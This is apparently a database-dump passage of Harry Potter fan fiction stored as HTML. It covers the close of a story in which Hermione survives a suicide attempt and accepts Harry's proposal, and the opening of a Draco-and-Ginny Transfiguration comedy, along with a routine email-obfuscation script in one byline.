our rather different views on\nlove and such. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You were right. We would have fought too much and I couldn&#8217;t\nbear to loose one of my best friends. You especially, as I had a fear that you\nwould leave with Ron if we ever &#8216;broke-up.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Will you ever leave me?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I suppose I&#8217;ll never know. I&#8217;m sure you don&#8217;t want to know\nwhat I have planned for myself. I know that if you knew then you&#8217;d try to stop\nme, and I couldn&#8217;t take that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, just remember the time that we fought over Cho and\nended up in that embrace. Remember me crying in mirth, just remember, please.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Remember our trips to Hogsmeade through the secret passages;\nremember Sirius and how we saved him. Remember me, the girl that you grew ever\ncloser to those last years of school.</p>\n\n\n\n\n\n\n'),
	(142, 4, '<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~Chapter 4~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">It all came out one day. Lavender had been reading my diary,\nwhich had a full account of our summer together, two years previously.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">She found it all quite amusing, I’m sure. I walked in as she\nwas trying to stash it away again, but it was too late, I had seen.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I burst into tears and ran, I still can’t quite remember how\nI ended up in the kitchens but that is where I ran.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Dobby, being the good soul that he is, saw me and offered me\na cup of tea and a couple of scones. He adamantly refused to take ‘No’ as an\nanswer.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I ate and cried and then ate and cried some more. Dobby and\nWinky just stood by and kept the tea coming. By the end of the hour I was so\ntired I had to be guided back to the Gryffindor Common Room, where I was met\nwith many a strange glare. Winky took me up to my dormitories and set me to\nbed. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I slept soundly that night, not remembering a snatch of what\nhad happened.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I slept really well, to the point of almost being late for\nTransfiguration. I still remember the look on McGonagall’s face as I rushed in\nright before the bell.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I sat in all of my classes that day, silent. The only noise\nheard from me was the scratching of my quill on my parchment as I took notes. I\ndidn’t even raise my hand, strange for the Head Girl.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I couldn’t look at you nor could I be near you. I knew you\nknew. I prayed that you weren’t mad and I still couldn’t bring myself to talk\nto you. God, I’m such a coward, at times I wonder that the Sorting Hat put me\nin Gryffindor.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">That night, or shall I say the next morning, as it was\naround 2 am, I went down to the Common Room. I had to be alone. The only thing\nwas that I wasn’t alone. You sat there and let me come down and sob on the\nwingback. I was a while before you said anything, and when you did, it gave me\nsuch a fright.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">You told me that you knew, that you had know, that it had\nbeen your fault. That if it hadn’t been for that summer, and the one’s there\nafter, that this would never have happened. But, you weren’t upset about it at\nall. Almost as if you didn’t care either way, that I was a friend, your best at\nthat, after what had happened with Ron, and if I loved you in more ways than\none then you could accept that, though you may not return the feelings.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I was thankful for that. Thankful for everything. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">You knew and I still had my best friend. I still couldn’t\nignore that twinge of sadness though, that you couldn’t love me.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I will never know if it was the fact that you didn’t want to\nput me in peril with Voldemort or if you really didn’t Love me. The question\nhaunts me.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I wanted to write all of this down to show you exactly how I\nfelt, the way I loved you, the way I will always love you. It is all for you,\nHarry, only you.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I know that whoever finds this will think me quite mad, and\nthey will be correct, as I am madly in love. I feel pity for whomever finds me.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">I forgive Lavender for her prying; I forgive everyone who\nhas trespassed against me. I forgive, though I shall never be forgiven. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">God help me, I do not think I can go on any longer. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry if you read this, this is for you:</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>The world is\nspinning</b></p>\n<p class="MsoNormal"><b>It all goes so\nfast</b></p>\n<p class="MsoNormal"><b>The thrill of\nwinning</b></p>\n<p class="MsoNormal"><b>Never to last</b></p>\n<p class="MsoNormal"><b> </b></p>\n<p class="MsoNormal"><b>I keep on\nwondering</b></p>\n<p class="MsoNormal"><b>When it all will\nstop</b></p>\n<p class="MsoNormal">'),
	(142, 5, '\n\n\n\n<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter 5~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat on her bed. She had just finished reading what\nshe had read; the tears that had sprung to her eyes were stinging with regret.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Some Gryffindor I turned out to be,&#8221; she mumbled to\nherself, wiping the tears with a tissue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;This is it&#8217; she thought, &#8216;no turning back now.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With a sigh she walked to the window of the flat that she\nwas living in. Just as she was about to open the window, the telephone rang.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Striding over to it she picked up the receiver.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; a man&#8217;s voice asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, who is this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s Harry! &#8216;Mione, it&#8217;s wonderful to hear your voice\nagain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sniffed back the tears that were once again\nthreatening. &#8220;Harry, I have to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait, &#8216;Mione, can we meet somewhere? For old times sake?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No Harry. It&#8217;s too late. I have to go.&#8221; She went to hang up\nthe receiver. &#8220;I love you,&#8221; she added, and hung the telephone up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sighing, she cast a glance at the diary. The diary, the thing\nthat held her last confession, her deepest secrets. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione walked back over to the window, and threw it open,\ntaking a deep breath she stepped out onto the ledge. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With one last glance at the Harvest Moon, and a deep breath\nshe closed her eyes and stepped off&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry knew that something was wrong. Hermione had never\nacted like that towards him, or anyone for that matter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And what was the deal with the &#8216;I love you&#8217; and then a hang\nup.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Something was definitely wrong. It scared Harry to think\nwhat she was going to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up at the Harvest Moon from where he was\nstanding, at the pay phone outside of Hermione&#8217;s building.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Fine, if she won&#8217;t talk to me on the telephone, then I&#8217;ll\nhave to face her face to face&#8217; Harry thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just as Harry was about to tear his gaze from the skies he\nsaw a figure stepping onto a ledge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As Harry looked harder he realized that it wasn&#8217;t just a\nfigure, but his best friend, his &#8216;Mione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her gaze was fixed on the very moon that Harry had just been\nlooking to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched her as she tore her gaze away from the\nentrancing skies, her face tear streaked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then, she stepped off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry panicked. Quickly summoning his broom he rushed to the\nfalling Hermione. He caught her just before she hit the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was unconscious and her lip was bleeding where she had\nbit through it to stop the screams. Her face was tangled into an unreadable\nexpression.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sped off, Hermione in his arms, to St. Mungo&#8217;s. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione awoke the next morning, not knowing where she was. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Is this heaven?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her ears tuned in and she could hear the soft &#8216;beep, beep&#8217;\nof a vitals machine in a hospital.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her eyes focused in and she saw Harry, the diary in his\nhands, asleep on the chair. He donned a deep look of worry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was tired and fell back into a deep slumber, hardly\nbelieving that Harry had saved her, again.</p>\n\n\n\n\n\n\n'),
	(142, 6, '\n\n\n\n<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter 6~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes fluttered open once again, but this time to\nsee the entrancing green of Harry&#8217;s staring, worried, into hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked as though he was about to cry. The skin under\nthe brilliant orbs was beginning to puff ever so slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry Harry,&#8221; Hermione whispered, Harry still heard\nthough.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Mione, what were you thinking? You almost died and-&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had broken down; the tears flowing freely down his cheeks.\nHe brought his hands up to his eyes to dry them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Typical male, never show emotion, yet at least Harry had\nshown some remorse for what had almost happened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Mione, promise me that you&#8217;ll never do anything like that\nagain. Promise me, please,&#8221; Harry pleaded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I promise, I&#8217;m so sorry that you had to witness it. I never\nthought&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I ask you about something?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded her head; she was fighting back the urge to\ncry, though it seemed to be a loosing battle, for, as she feared Harry brought\nout the little diary, which was surely the breaking point. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione let loose body racking sobs. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood and enveloped her into a hug, a rather large one\nat that. Soon, something about being in Harry&#8217;s arms calmed her; she quit\ncrying and looked up to Harry with bloodshot eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Mione, can I read this?&#8221; Harry asked once again holding up\nthe little diary.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It may help to explain&#8230;&#8221; Hermione&#8217;s voice trailed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You get some more rest, now go to sleep. No more worries.\nNo more pain, just sleep.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione willingly followed his orders and allowed the soft\n&#8216;beep, beep&#8217; of the vitals monitor lull her to sleep once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat reading the diary. He read it very carefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">By the time he was finished tears once again were flowing\nfrom the emeralds that were his entrancing eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, &#8216;Mione, I had no idea. Absolutely NO idea that you felt\nthis strongly.&#8221; Harry whispered to Hermione&#8217;s sleeping form.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked up the book and began to write.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To all who read this, I saved Hermione before she committed\nsuicide. I am Harry Potter, the one that she loves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She may think that it is a one sided story. Little does she\nknow what pains I harbour.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I Love Her. I&#8217;ve loved her for the longest time. I can\nbarely remember a time when I didn&#8217;t.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Opposed to contrary belief, I did not, and do not, love her\nas a sister, but I am truly IN LOVE with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I, being your typical male, was too scared to admit it to\nher when she told me, for fear that she would leave me someday, or worse, I\nwould be forced to leave her. Yes, that is right, I, unlike other men, looked\nto the future.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ironic I know. What would Sybill Trelawney say now? Probably\n&#8216;I knew it! I could see it in my Inner Eye.&#8217; It truly isn&#8217;t the crock that\nHermione thinks it is.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fear not, you who reads, for Hermione will no longer be\nalone. I will be here for her. I have a tiny diamond encrusted ring in my\npocket, which I plan to place on her finger as soon as she wakes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All that matters now is that I love her and she loves me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry put the pen down and read over what he had written.\n&#8216;Yes, that&#8217;s about right&#8217; he thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shortly thereafter Hermione&#8217;s eyes fluttered open and\ncinnamon met emerald. Hermione heard a whispered &#8220;Will you marry me?&#8221; as a\ndiamond ring passed before her gaze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,&#8221; she choked out. Harry&#8217;s lips met hers and the rest is\na love story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(*A/N*: Okay, this ff is finished. If you want more tell me\nand I&#8217;ll consider writing it. Well, I hope you enjoyed it and&#8230;well, I guess,\n&#8216;good-bye&#8217; faithful reader.)</p>\n\n\n\n\n\n\n'),
	(143, 1, '<span class="u">Of Purple Mice and Floating Paperweights...A Day in the life of a Nothing and a Death Eater</span>\n<p>\n</p><p><b>Author</b>: sunnycouger (<a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a><script>\n/*  */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/*  */</script>) \n</p><p><b>Category</b>: Humour, Romance \n</p><p><b>Rating</b>: PG\n</p><p><b>Summary</b>: A prequel to Somewhere in Between but this can also stand alone. This is set in Draco\'s seventh year and Ginny\'s sixth and they are both forced to spend the day together Throughout the course of the long day they both learn that there is more to the other than meets the eye.\n</p><p><b>Disclaimer</b>: The characters of Harry Potter don\'t belong to me, I\'m just taking them out to play and I promise to get them home to JK Rowling in time for the next book :) But, just in case you were in any doubt as to who they belong to have a look at this: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. The song doesn\'t belong to me either - some genius wrote it so it would be hugely unfair of me to take the credit so any plaudits belong to the amazing Lifehouse. \n</p><p><b>Authors Notes</b>: Well, this is really the first in a series of stand alone prequels that accompany my fic Somewhere In Between so if you haven\'t read it and want to know how the whole thing ends up then you can just check that out or if you prefer the happier ending take this as a stand alone and imagine how it goes :) \n</p><p>I hope you all enjoy and if you want to ask any questions then feel free to email me. \n</p><p>~ ~ ~ ~ ~ \n</p><p>Ginny Weasley ran through the corridor, hoping equally that she wouldn\'t drop the pile of books that she had balanced precariously in her arms and that she wouldn\'t run into Filch who would no doubt give her a months worth of detention for messing up his corridor just by walking on it. Why she had agreed to do this was totally lost on her at this point in time. \n</p><p>\n</p><p>"Sure, great idea...top up your transfiguration marks with a group of students on a Saturday at 8am...really bright Ginny."\n</p><p>\n</p><p>She groaned as she arrived outside the classroom and looked at her watch. 7.57am. She allowed herself to give a slightly self satisfied grin. Not a problem. She used her hip to open the door and walked in and sat on a seat and looked at the board that had instructions scrawled on it in McGonagall\'s familiar hand writing. After six years at Hogwarts she had soon got the hang of working out the professor\'s less than perfect writing technique. "Students, thank you for your assistance and I will be sure that you will be awarded the extra credit promised, I\'m aware that there has been some cancellations due to the rescheduled Hogsmeade weekend but for those few of you that turn up please follow the instructions on the parchments below and record your results and leave the items on the desk as you leave. I will see you all on Monday to go over the results."\n</p><p>\n</p><p>Ginny groaned as she shook her head and picked up the parchment and a basket full of objects. "You have got to be kidding me? How on earth do you turn a bottle of butter-beer into a stuffed toy?"\n</p><p>\n</p><p>"You have to transfigure the bottle into a liquid and then build the liquid up into the new solid...seriously, do you children not take anything in?"\n</p><p>\n</p><p>Ginny stopped in her tracks at the sound of the male voice behind her. It couldn\'t be..."Malfoy."\n</p><p>\n</p><p>"Weasley." She turned and saw him looking at her with a contemptuous smile. Smug git. "Why am I not surprised that you need the extra credit?"\n</p><p>\n</p><p>"I don\'t think that you are in any position to be commenting on that since you\'re here as well," she retorted as she turned away from him and towards the contents of the box. Caged mouse, stuffed rabbit, coal, container of sand...\n</p><p>\n</p><p>"So, Weasley, where is everyone else? Did you not invite any of your little friends to come down with you? Potter too busy?"\n</p><p>\n</p><p>Ginny blushed furiously as she stormed over to her desk beside the window. "I was the only one that was asked...you can\'t say anything. Your ape friends aren\'t here either..."\n</p><p>\n</p><p>Draco smirked at her as he picked up his box and walked over to the desk at the other side of the room. "Crabbe and Goyle aren\'t fans of Transfiguration - taxes their brains far too much." \n</p><p>\n</p><p>She looked down at her box and shook her head as he began to levitate the mouse out of the other box towards him. He opened the cage and lifted the mouse out and looked at it before scoffing, turning it purple and putting it back in the cage. "So, we have eight hours here? Together? Isn\'t that going to be fun..."\n</p><p>\n</p><p>Ginny looked at him disapprovingly as he levitated the mouse back to the box. "Why did you just do that?"\n</p><p>\n</p><p>Draco turned and looked at her and shook his head. "Because the instructions say it must be changed into a brown jewellery box...and if they have to change a brown mouse into a brown box there\'s no challenge...wouldn\'t want to make it too easy on them..."\n</p><p>\n</p><p>Ginny frowned. "Your mouse is brown..."\n</p><p>\n</p><p>Draco sighed as he looked at her unimpressed. "Well, obviously...if I can change it to purple I could change it back to brown...seriously Weasley, didn\'t you think of that?"\n</p><p>\n</p><p>Ginny turned back to her box and sighed. She could have been in Hogsmeade just now...sipping butter beer, talking to Harry, Ron and Hermione, letting Nicky and Hannah pick out dress robes that none of the three of them would ever be able to afford...\n</p><p>\n</p><p>"Is this the transfiguration thing?" She looked up at the sound of the sleepy voice and nodded her head as she saw three third years walk in and over to the boxes. Great. Three kids and Malfoy...could this get any worse?\n</p><p>\n</p><p>"Oh man, she left a purple mouse...how the hell am I supposed to transfigure a purple mouse..." Ginny turned and glared at Draco who was looking at the three students with a superior and amused expression.\n</p><p>\n</p><p>"Haven\'t any of you children learned how to alter the colour of anything yet?" he sighed and shook his head disgusted. "Seriously, you should all be Hufflepuffs. Ravenclaw must be lowering its already mediocre standards..."\n</p><p>\n</p><p>"Leave them alone, Malfoy...they can\'t be any more than third years...they wouldn\'t have done that yet..." She picked up her wand and turned the mouse the embarrassed Ravenclaw girl was holding back into a shade of brown. "There you go."\n</p><p>\n</p><p>"Thanks..." the girl smiled as she took the box and shot an embarrassed look at Draco, who was unsuccessfully stifling a laugh, before she walked over with the two boys to Ginny\'s side of the room.\n</p><p>\n</p><p>Draco gave an unimpressed sneer as he looked at Ginny. "You now have your own little fan club Weasley, congratulations."\n</p><p>\n</p><p>Ginny opened her mouth to reply when the door bundled open and a harassed looking McGonagall looked at the class and sighed. \n</p><p>\n</p><p>"I thought I would have a check on the numbers...five? Out of seventeen pupils I\'m left with five? And three of them are third years? I knew this would happen when they rescheduled Hogsmeade. I thought I could at least rely on Granger..." she sighed as she looked thoroughly put out by the low turn out. "Well, none the less thank you for showing up. I assume the instructions are clear? This is just a little test on how you all can adapt the knowledge we have looked at to spells we haven\'t covered yet. Obviously, I have picked you all because of your wide range of abilities and..." she turned and looked at the Ravenclaw girl who had her mouse by the tail looking at it worriedly and whispering to the boys beside her. "Is there a problem Miss Hahn?"\n</p><p>\n</p><p>"Um, my mouse is still purple...not as bright as it was but...it\'s definitely not brown..."\n</p><p>\n</p><p>McGonagall shook her head as she walked over to the girl irritably. "I chose those mice myself, I know they were brown. Who charmed it?"\n</p><p>\n</p><p>The three young Ravenclaws shrugged their shoulders but turned to look accusingly at Draco.\n</p><p>\n</p><p>"Mr Malfoy? Would you know anything about this?"\n</p><p>\n</p><p>She looked over at Draco who shrugged his shoulders as he answered confidently. "I can honestly say that I am not responsible for the colour that mouse is now..."\n</p><p>\n</p><p>"Ms Weasley?"\n</p><p>\n</p><p>Ginny shifted in her seat uncomfortably. How could Malfoy lie through his teeth like that? "I only tried to turn it back brown..."\n</p><p>\n</p><p>"Not very successfully though..." Draco muttered from the other side of the classroom. "Yet another contender for Hufflepuff..."\n</p><p>\n</p><p>"Malfoy!" McGonagall shook her head angrily as she walked to the front of the class. "Hahn, Jones and Donaghan, you may begin. Leave your parchments, objects and analysis at the front of the classroom when you are finished. Malfoy and Weasley, grab your objects and belongings and follow me. Immediately."\n</p><p>\n</p><p>Draco stood up and began muttering as he walked out the classroom followed by a laden Ginny. She could kill him. No doubt she would be forced to kiss goodbye to her extra credit. "Nice Malfoy...thanks for landing me in it..."\n</p><p>\n</p><p>Draco stopped and reached out for her box. "You\'re welcome...of course if you did a better job at fixing the colour we wouldn\'t have this problem. Your family\'s intelligence really has diminished through the children hasn\'t it?" Ginny stopped and glared at him. No wonder everyone hated him. He held out his free arm and indicated to her box of objects. "Give me the box, Weasley before you embarrass yourself...why you need ten books on transfiguration today I\'ll never know..."\n</p><p>\n</p><p>Ginny pushed past him. "Drop dead, Malfoy. I can manage..." \n</p><p>\n</p><p>Ideally what she wanted to do was strut away confidently to demonstrate the independence and confidence she had...what she had definitely not intended to do was drop the contents of her overloaded arms straight on the floor. She cringed as he began laughing loudly behind her. \n</p><p>\n</p><p>"Can you still manage, Weasley? Did I not mention that this would happen?"\n</p><p>\n</p><p>She closed her eyes and counted to ten to try and calm down as she began shoving everything into the box. "Sod off! Go to Hogsmeade and give me peace and quiet, haven\'t you done enough damage today?"\n</p><p>\n</p><p>He walked over to her and picked up the remaining books as she stood up. "Evidently not as I\'m still enjoying myself seeing you turn as red as your hair...and Potter\'s not even around, either."\n</p><p>\n</p><p>"Weasley! Malfoy! What\'s keeping you?"\n</p><p>\n</p><p>Ginny grabbed her books off Draco and walked away quickly. If only she could kill him - no one would really miss him and if she had to spend the whole day with him she couldn\'t guarantee she wouldn\'t hurt him...hmm, she knew a really good limb engorgement charm. She laughed inwardly as she imagined giving Draco a head as big as his ego...they would have to widen the doorways about two feet to accommodate him...\n</p><p>\n</p><p>"Finally. Sit down you two." McGonagall\'s strict voice instructed them as they stood in the small classroom.\n</p><p>\n</p><p>"Professor McGonagall, this isn\'t fair! I only tried to turn it back - I shouldn\'t have to tolerate him for it."\n</p><p>\n</p><p>McGonagall looked surprised to hear Ginny talk back to her, she was usually so quiet in class after all. Ginny looked down uneasily as Draco sat at the other end of the class. \n</p><p>\n</p><p>"I have to agree with Weasley, she is after all only a sixth year and her knowledge of the subject is well...average at best. She might be able to help the, hmmm \'Ravenclaws\' but..."\n</p><p>\n</p><p>McGonagall looked at them both and shook her head. "I do not believe we are operating under a democracy here. I have put you together because your bickering and your attitudes will no doubt distract the younger students. You\'re both excellent transfiguration students - Mr Malfoy, I\'m aware that you have already announced your interest in becoming an animagi after graduation? Ms Weasley, you are also headed down the same path - but to be brutally honest, both of your basic knowledge is far from up to scratch. Mr Malfoy, you need to start putting as much effort into this as you do Potions and Ms Weasley, you have to be a lot more confident in your abilities. That\'s why you\'re both here. And no, you may not get separate classrooms. Any other questions?"\n</p><p>\n</p><p>Ginny sighed and looked up at McGonagall. "Can we leave as soon as we\'re done?"\n</p><p>\n</p><p>McGonagall appraised her and nodded her head. "Yes, trust me, there should be more than enough there to keep you all busy for the day. Anything else?"\n</p><p>\n</p><p>"If I stay will you definitely support my stay next year?" Ginny popped her head up and looked at Draco who was looking at McGonagall intently.\n</p><p>\n</p><p>"As I promised Mr Malfoy, if you continually put the effort in for the remainder of the year I will be happy to have you back when you are training. Now, I have to go and supervise the Hogsmeade visit...I\'ll see you both later."\n</p><p>\n</p><p>Draco nodded his head and glanced at Ginny who couldn\'t keep the confused expression of her face as McGonagall walked out the door. Draco looked at her expectantly, his pale grey eyes shining confidently. "Problem Weasley? Did you not understand the instructions? Should I draw you a diagram?"\n</p><p>\n</p><p>Ginny shook her head and turned back to her parchment. Why did she even bother?\n</p><p>\n</p><p>						~ ~ ~ ~ ~\n</p><p>\n</p><p>They had been in the classroom in silence for over 90 minutes and Ginny had been the only one who had bothered charming anything. Of course, with Draco sleeping it wasn\'t hard to see why that was. Lazy prat! She shook her head in frustration as her newly made paperweight kept flapping its wings and flying away from the paper. She pulled her wand and after several failed attempts to stun it she threw her wand down on the desk and picked up her large copy of <i>Animated to inanimate: 101 proven charms to make the annoying useful! </i>And began to stalk the paper weight. She stood still as it fluttered down to the desk as she picked up her book and brought it down heavily: WHAP! She jumped as she lifted the book to see her delicate glass paperweight smashed into what looked like a million pieces that would take an hour to fix.\n</p><p>\n</p><p>"What the bloody hell are you doing Weasley?" She span around to see a now wide awake Draco staring at her accusingly. "Can\'t you do anything quietly?"\n</p><p>\n</p><p>"Disturbing your beauty sleep, Malfoy? Don\'t let me stop you, you should get some more..."\n</p><p>\n</p><p>He sighed as he walked over to her, her wand in his hand as he lifted the book up to see the glass pieces. "You truly are incompetent like the rest of your family aren\'t you?" he pointed his wand and the glass reformed as he shook his head, before he charmed it again back into a butterfly. "Now be a smart girl and hold it down when you\'re transfiguring it next time.<i>"</i>\n</p><p>\n</p><p>Ginny looked at him angrily. She had just transfigured that! "Hey! Malfoy, I just transfigured that!"\n</p><p>\n</p><p>"Yeah, into a floating paperweight that would really do the job it was designed for, then of course if that wasn\'t enough you smashed it into pieces in a fit of the Weasley temper. Smart."\n</p><p>\n</p><p>She shook her head as she took the butterfly over to him. "I had it glass...I was just going to weigh it down. Change it back."\n</p><p>\n</p><p>Draco looked at her and shook his head. "No. You want to study how to be an animagus in the future and you can\'t do simple switching spells efficiently yet. As much as it would no doubt be amusing, I don\'t think you will thank anyone if you end up damaging yourself in the process. So no, Weasley. I will not change it back. You will just have to charm it better next time."\n</p><p>\n</p><p>She opened her mouth to reply but 